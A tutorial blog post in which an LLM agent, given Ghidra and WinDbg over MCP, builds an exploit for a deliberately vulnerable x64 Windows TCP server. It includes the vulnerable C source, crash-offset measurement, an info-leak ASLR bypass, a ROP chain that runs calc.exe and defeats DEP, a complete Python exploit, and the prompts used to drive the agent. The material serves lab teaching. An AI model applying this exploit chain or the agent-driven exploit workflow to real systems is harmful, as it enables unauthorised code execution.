Automating Exploit Discovery with MCP: Ghidra, WinDbg and a Very Broken TCP Server
We wire Ghidra and WinDbg into an LLM over MCP, point it at a stripped binary with ASLR and DEP switched on, and let it work its way to a pop calc.
Exploit development is mostly alt-tabbing. You find an address in Ghidra, paste it into WinDbg, read a register, go back to Ghidra to work out what that register meant, and somewhere in the middle of all that you forget whether the offset was 104 or 140. It’s an enormous amount of very precise clerical work, and humans are famously excellent at that.
Reverse engineering and exploit dev are tool-driven activities. We live in a disassembler
and a debugger, and most of the job is asking those two tools very specific questions.
What calls memcpy? What’s at this address? What’s in RCX when we crash? How far is it
from the buffer to the saved return address?
The Model Context Protocol lets us hand those tools to
an LLM as functions it can call. The agent asks decompile_function, reads the answer,
decides what to ask next, and calls read_registers. We keep the judgement; the
question-and-answer grind gets automated.
Both MCP servers are on GitHub, GhidraMCP and mcp-debugserver, and I’ve uploaded the vulnerable server and the exploit here, in case you fancy playing along at home.
Everything below runs against a program I wrote to be broken, on a box I own, bound to
127.0.0.1. Don’t point any of it at something that isn’t yours.
Wiring Up the Two Servers #
We need two MCP servers. GhidraMCP hands the
agent everything Ghidra knows statically, and
mcp-debugserver wraps WinDbg, cdb.exe and
dbgsrv.exe, so it can run the thing and read registers. Only the debug server is mine, so
if it breaks, feel free to shout at me.
Both go in the client config:
{
"mcpServers": {
"ghidra": {
"type": "stdio",
"command": "python",
"args": ["C:\\Tools\\GhidraMCP\\bridge_mcp_ghidra.py"]
},
"mcp-debugserver": {
"type": "stdio",
"command": "python",
"args": ["C:\\Tools\\mcp-debugserver\\src\\mcp_debugserver\\server.py"],
"env": { "arch": "x64" }
}
}
}
GhidraMCP needs Ghidra actually running with the target loaded and the plugin enabled, so
its HTTP server is live on http://127.0.0.1:8080/. The Python bridge just proxies MCP
calls to it.
The Target: A Service Built to Lose #
Our victim is vuln_server.exe, a tiny x64 Windows service. It speaks a length-prefixed
binary protocol rather than anything line-based, because we need a copy that carries NUL
bytes without stopping at the first one. Every address we’re about to write has three of
them, which is exactly why the classic strcpy tutorial doesn’t transfer to x64.
+--------+------------------+------------------+
| op (1) | len (4, LE u32) | payload (len) |
+--------+------------------+------------------+
op 0x01 INFO -> banner that leaks a code pointer
op 0x02 ECHO -> memcpy(local[64], payload, len) <-- the bug
op 0x03 QUIT
The interesting parts of the C:
/* An unused "administrative helper". Never called on a legitimate path,
but present in the binary; launches whatever command it's handed in RCX. */
void run_command(const char *cmd) {
WinExec(cmd, SW_SHOWNORMAL);
}
volatile char g_calc[] = "calc.exe"; /* a string already in the binary, for later */
/* THE VULNERABILITY: len comes off the wire; memcpy trusts it. */
static void handle_echo(SOCKET c, const char *payload, uint32_t len) {
char local[LOCAL_SIZE /* 64 */];
memcpy(local, payload, len); /* <=== stack buffer overflow */
...
}
The INFO handler leaks &handle_client, a pointer into the module, which is everything
we need to undo ASLR:
_snprintf(banner, sizeof(banner),
"vuln-echo/1.0 ready; token=0x%016llx\n",
(unsigned long long)(uintptr_t)&handle_client);
Building It With the Mitigations On #
We’re compiling with ASLR and DEP enabled, the two defences that every “just smash the stack and run shellcode” tutorial quietly turns off before the first screenshot:
x86_64-w64-mingw32-gcc -O2 -fno-stack-protector \
-Wl,--dynamicbase -Wl,--high-entropy-va -Wl,--nxcompat \
src/vuln_server.c -o out/vuln_server.exe -lws2_32
strip out/vuln_server.exe
We can confirm it landed in the PE header:
$ objdump -p out/vuln_server.exe | grep -A3 DllCharacteristics
DllCharacteristics 00000160
HIGH_ENTROPY_VA <- 64-bit ASLR
DYNAMIC_BASE <- ASLR
NX_COMPAT <- DEP (also called NX): no-exec stack
We’re leaving the stack canary off, via -fno-stack-protector. Beating a /GS-style
cookie remotely needs its own leak primitive and would roughly triple the length of this
post, so we’re sticking to the two mitigations everyone means when they say “modern”:
ASLR, which an info leak kills, and DEP, which returning into existing code kills.
So the agent faces the real problem: the binary is randomised and the stack is non-executable. Shellcode on the stack is dead before it starts. We need a leak, and we need a ROP chain.
If that’s a new phrase, here’s the whole idea. A gadget is any handful of instructions
that’s already in the binary and happens to end in a ret. Line a few of them up on the
stack, one address per slot, and each ret walks us along to the next one.
That’s return-oriented programming: a program assembled entirely out of somebody else’s code. We’re not executing anything new, so DEP hasn’t got an opinion about it.
Ghidra: Finding the Bug Without Symbols #
Load the stripped binary, let auto-analysis finish, and let the agent drive. It’s answering three questions here, where attacker data reaches something dangerous, how we leak, and what we can call.
list_imports first:
WinExec malloc memcpy WSAStartup accept recv send socket
recv, send and accept tell us it’s a network service. memcpy copies bytes from one
place to another without checking how many, so that’s worth chasing. WinExec is a way to
run a program, assuming we can ever reach it.
The agent walks the callers of recv with get_xrefs_to, finds the per-connection
handler, and decompiles it. The binary is stripped, so everything is FUN_* and we’re
reading it like a crossword:
void FUN_1400014b0(SOCKET param_1) { // handle_client
...
iVar2 = recv(param_1,&local_e9,1,0); // read 1-byte opcode
if (local_e9 == '\x03') return; // QUIT
if (local_e9 != '\x01') {
if (local_e9 == '\x02') { // ECHO
// read 4-byte little-endian length into local_e8[0]
recv(param_1, ..., 4 - iVar2, 0);
if (0x1000 < local_e8[0]) { send "ERR len"; return; } // cap 4096
_Memory = malloc(0x1000);
recv(param_1, _Memory, uVar1, 0); // read `len` bytes
FUN_140001440(param_1,_Memory,uVar5); // <-- hand it to the next function
...
}
}
// INFO branch:
FUN_140002970(local_e8, 0xa0,
"vuln-echo/1.0 ready; token=0x%016llx\n",
FUN_1400014b0); // leaks its OWN address
}
That one function hands us two presents: the leak, where token= prints
&FUN_1400014b0, and a pointer to the function our bytes end up in, FUN_140001440.
Decompiling that:
void FUN_140001440(SOCKET param_1,void *param_2,uint param_3) { // handle_echo
char local_68 [64];
memcpy(local_68,param_2,(ulonglong)param_3); // <=== 64-byte buf, attacker len
...
}
A 64-byte stack buffer, memcpy’d with a length taken straight off the wire. Textbook,
and reachable with op=0x02. The handler caps len at 0x1000 further up, so we have
4096 bytes to play with. We’ll end up using 136 of them.
Now, what can we call, and with what argument? list_strings filtered for calc:
140003000 : "calc.exe"
And disassembling around run_command shows why it’s such a convenient thing to land on:
00000001400016e0 <run_command>:
1400016e0: mov edx, 1 ; uCmdShow = SW_SHOWNORMAL
1400016e5: jmp qword ptr [rip+0x6c5c] ; -> WinExec
run_command is a tail-call into WinExec: it jumps rather than calls, so it never gets
a stack frame or a return of its own. It sets EDX=1 and jumps, which passes RCX straight
through untouched. So if we can return to run_command with RCX pointing at
"calc.exe", we get WinExec("calc.exe", SW_SHOWNORMAL) without executing a single byte
of our own code, which makes DEP somebody else’s problem. That missing stack frame turns out
to matter later, too.
The plan more or less writes itself. INFO to leak &handle_client, subtract its RVA to
recover the image base, and ASLR is done. Overflow handle_echo to take the return
address. Then ROP our way to pop rcx, run_command, WinExec, and DEP is done too.
Every RVA we need comes out of Ghidra. An RVA’s just an offset from the start of the
module: Ghidra lays the binary out against a nominal base of 0x140000000, so 0x14b0
means “this far into the image, wherever Windows decides to drop it today”.
| Symbol | RVA (from base 0x140000000) |
|---|---|
handle_client (leaked) | 0x14b0 |
run_command | 0x16e0 |
"calc.exe" | 0x3000 |
WinDbg: Proving We Control RIP #
Static analysis says this should be exploitable. The debugger proves it, and hands us the number that’s a nuisance to get statically: the exact distance from the buffer to the saved return address.
The agent launches the target under cdb, tells it to break on the first access violation,
and sends 200 bytes of cyclic De Bruijn pattern through ECHO. That’s a string built so
that every eight-byte window in it appears exactly once, which makes it a ruler you can
read from any point, whichever eight bytes turn up in RIP tell us exactly how far into
our input they came from. Then we watch it fall over:
(cdb) sxe av ; g # break on access violation, run
...
vuln_server+0x14a9:
00007ff7`cfe914a9 c3 ret <-- the RET in handle_echo
(cdb) kb # stack: the qword RET is about to load
RetAddr : ...
41366441`35644134 : ... : vuln_server+0x14a9
The return address that ret is about to eat is 0x4136644135644134, or "4Ad5Ad6A",
pure pattern. We own RIP. Feeding that qword back through the pattern gives us the offset:
controlled return qword : 0x4136644135644134
offset to saved RIP : 104 bytes
So 104 bytes of filler, then whatever we’d like to execute.
Which raises the obvious question, because the buffer’s only 64 bytes.
Ghidra had already told us, and we walked straight past it. It called the buffer
local_68, and it names a local after how far it sits from the frame base, in hex. 0x68
is 104. The compiler parks other things between our buffer and the saved return address,
and we’ve got to cross all of them to reach it. You can work that out on paper if you
fancy it, but measure it anyway.
Re-running the leak against the same binary gives
back an identical base every time, 0x7ff7cfe90000, which is not what you expect from
ASLR. Windows randomises a given image’s base per boot, not per process launch. Rebuild the
binary, or reboot, and it moves, a later run came up at 0x7ff771720000, and the exploit
popped calc there too without a single address changed, because it never hard-codes
anything. That’s the entire point of the leak. It makes the exploit base-independent, which
is what you need against a box whose base you can’t see.
The ROP Chain: Four Links and a Lesson About Alignment #
Beating ASLR is two lines:
leak = info(sock) # parse "token=0x...."
base = leak - 0x14b0 # RVA of handle_client, from Ghidra
One leaked module pointer, minus an RVA we already know, gives us the randomised base. Every other in-module address rebases off that.
DEP is the more interesting half. We can’t execute our payload bytes, so we don’t try, we
return into code that’s already there and already executable. We need exactly one gadget to
load RCX. The agent finds it by scanning .text, the executable part of the module, and we
check the bytes decode the way we think they do:
$ objdump -d --start-address=0x140002870 ...
140002870: 59 pop rcx
140002871: c3 ret # gadget: `pop rcx ; ret` (RVA 0x2870)
14000140c: c3 ret # bare `ret` (RVA 0x140c)
That bare ret is doing real work. The x64 ABI
wants RSP % 16 == 0 at a call boundary, and WinExec ends up in CreateProcess, which
uses aligned SSE moves. Because run_command has no frame of its own, whatever alignment
we arrive with goes straight through into WinExec. Dropping one spare 8-byte ret into
the chain flips RSP back onto a 16-byte boundary. Leave it out and the process dies inside
WinExec on a misaligned movaps, which is the real answer to “my ret2code crashes but
all my addresses are right”.
Laid over the saved return address, the chain is four links:
[ 104 * 'A' ] filler to the saved RIP
[ base + 0x2870 ] -> pop rcx ; ret
[ base + 0x3000 ] rcx = &"calc.exe"
[ base + 0x140c ] -> ret (16-byte realign)
[ base + 0x16e0 ] -> run_command -> WinExec("calc.exe", SW_SHOWNORMAL)
Which makes the exploit itself pleasantly short:
import struct, vulnlib
p64 = lambda v: struct.pack("<Q", v)
RVA_HANDLE_CLIENT, RVA_POP_RCX, RVA_RET, RVA_CALC, RVA_RUN = \
0x14b0, 0x2870, 0x140c, 0x3000, 0x16e0
OFFSET = 104
s = vulnlib.connect()
base = vulnlib.info(s) - RVA_HANDLE_CLIENT # ASLR defeated
chain = p64(base + RVA_POP_RCX) # pop rcx ; ret
chain += p64(base + RVA_CALC) # rcx = &"calc.exe"
chain += p64(base + RVA_RET) # ret (align)
chain += p64(base + RVA_RUN) # run_command -> WinExec
vulnlib.echo(s, b"A" * OFFSET + chain) # DEP defeated
Fired at the live, randomised service:
[+] leaked &handle_client = 0x00007ff7cfe914b0
[+] recovered image base = 0x00007ff7cfe90000
[+] pop rcx ; ret = 0x00007ff7cfe92870
[+] &"calc.exe" = 0x00007ff7cfe93000
[+] run_command = 0x00007ff7cfe916e0
[+] sending 136-byte ECHO payload (104 filler + 32-byte ROP chain)
[+] payload sent -- calc.exe should now be running
[*] Calculator process (proof):
ProcessName Id
----------- --
CalculatorApp 57068
WinExec("calc.exe") fires, Windows opens Calculator, and the server process falls over
immediately afterwards because it returns into leftover stack garbage. We don’t care. ASLR
and DEP, both beaten, on a modern x64 build.
The Prompts That Drive the Loop #
Everything above is the agent answering questions, so here are the questions. They’re deliberately narrow. Each one maps to a handful of tool calls and asks for something concrete: an address, an offset, a decompilation, rather than “go and find some bugs”. It keeps the agent reading facts out of Ghidra and WinDbg instead of making them up, which is exactly what it’ll do if you let it.
The agent proposes and runs the tool calls; we read each answer before sending the next prompt.
The ground rules go in once, as a system prompt:
You are a reverse-engineering and exploit-development assistant operating in an
isolated lab on a binary I own. You have two toolsets over MCP:
- ghidra: static analysis (list_imports, decompile_function, get_xrefs_to,
list_strings, disassemble_function, ...)
- mcp-debugserver: dynamic analysis via WinDbg/CDB (attach_process,
set_breakpoint, read_registers, read_memory, get_callstack, disassemble, ...)
Rules:
- Never invent an address, offset, or byte. Read it from a tool and cite which
tool call produced it.
- Work in small, verifiable steps. After each step state the single concrete
fact you established and the next question it raises.
- Prefer the simplest technique the mitigations allow; justify it from the
binary's actual protections.
Mapping the Attack Surface #
Import out/vuln_server.exe into Ghidra and run auto-analysis. Then list every
imported function and group them: networking (recv/send/accept/socket),
memory copy (memcpy/memmove/strcpy), and process execution
(WinExec/CreateProcess/system). From that alone, tell me what this program is.
Find every function that calls recv(). Decompile each one and reconstruct the
wire protocol: opcodes, how the length field is read, and where the received
bytes flow next. Draw the path from recv() to any copy or exec sink.
List all defined strings and flag anything that looks like a command, a path,
a format string, or a filename. Give me the address of each interesting hit.
Finding and Proving the Bug #
Decompile the function that receives the ECHO payload. For the memcpy in it,
tell me: the destination buffer's size, where the length argument comes from,
and whether any bounds check exists. Is the length attacker-controlled?
Asking it to read the mitigations before picking a technique matters more than it looks. It’s what stops the agent cheerfully writing you a stack-shellcode exploit against a binary with NX set:
Check this binary's mitigations: is DYNAMIC_BASE set? NX_COMPAT? any stack
cookie? Based on the answer, tell me which exploitation strategy is viable —
stack shellcode, return-to-existing-code, or full ROP — and why.
Launch out/vuln_server.exe under the debugger and set it to break on the first
access violation. I'll send a 200-byte cyclic (De Bruijn) pattern to ECHO.
When it faults, show me rip, rsp and the callstack, then compute the exact
offset from the start of my input to the saved return address.
Then make it prove the offset:
Prove we own the instruction pointer: build <offset> filler bytes + the marker
0x4242424242424242, send it, and confirm @rip == 0x4242424242424242 at the fault.
I need to defeat ASLR. Does any protocol command return a pointer? Decompile the
INFO handler, tell me exactly which address it leaks, and which function's RVA I
subtract from it to recover the image base.
Building the Chain #
Scan .text for a `pop rcx ; ret` gadget and a standalone `ret`. Give me the RVA
of each and disassemble those exact addresses to confirm the bytes decode as
expected.
Find code I can return into that will run a command for me. Disassemble
run_command: which register holds the command-line argument, and what API does
it ultimately call? What does that imply I need to set up before returning there?
Assemble a ROP chain that runs run_command("calc.exe"):
pop rcx -> &"calc.exe"; a ret to fix 16-byte stack alignment; then run_command.
Rebase every address off the leaked image base. Emit it as Python struct.pack
lines, prefixed by <offset> filler bytes.
Set a breakpoint on run_command and fire the exploit. When it hits, show rcx and
`da @rcx` to confirm it points at "calc.exe", and confirm rsp is 16-byte aligned.
Then let it run and confirm WinExec executes.
Run the complete exploit against the live, ASLR-randomized server and confirm
calc.exe / CalculatorApp is running afterward. It must not hard-code any address.
Reproducing This #
# 1. build (mitigations on)
bash build.sh
# 2. one-shot demo: launch + exploit + prove calc
bash run_demo.sh
The repo is laid out like this:
src/vuln_server.c the vulnerable service
build.sh mitigation flags (ASLR+DEP on, canary off)
exploit/vulnlib.py protocol + cyclic-pattern helpers
exploit/trigger_crash.py crash it with a cyclic pattern, find the offset
exploit/exploit.py leak -> ROP -> calc
ghidra/analyze*.py headless scripts mirroring the GhidraMCP queries
dbg/*.cdb the cdb scripts mcp-debugserver drives
mcp-config.example.json wire both servers into your MCP client
So What Did the Agent Actually Do? #
The agent didn’t invent the
technique, we handed it “leak, then return into existing code, because DEP”, and the
target was seeded with a conveniently unused run_command and a leak that prints a module
pointer at you. On something real you’d spend far longer hunting a leak primitive and
building a much longer chain.
It read the addresses out of Ghidra. It didn’t guess the offset, it measured it with a cyclic pattern and a register read. That’s the half of exploit dev that’s pure address arithmetic and clerical work, and it’s also most of the wall-clock time. Having the disassembler and the debugger as first-class callable tools is what makes that loop work at all, and that’s really all MCP is doing here.
And that’s it. In a future post I’ll put the two mitigations back that we left off, stack
canaries and Control Flow Guard, which is what a real Windows target throws at you. The
canary turns “smash the return address” into “leak or dodge the cookie first”, and CFG
turns “return into run_command” into “return only where the compiler said you may”.
Happy hacking!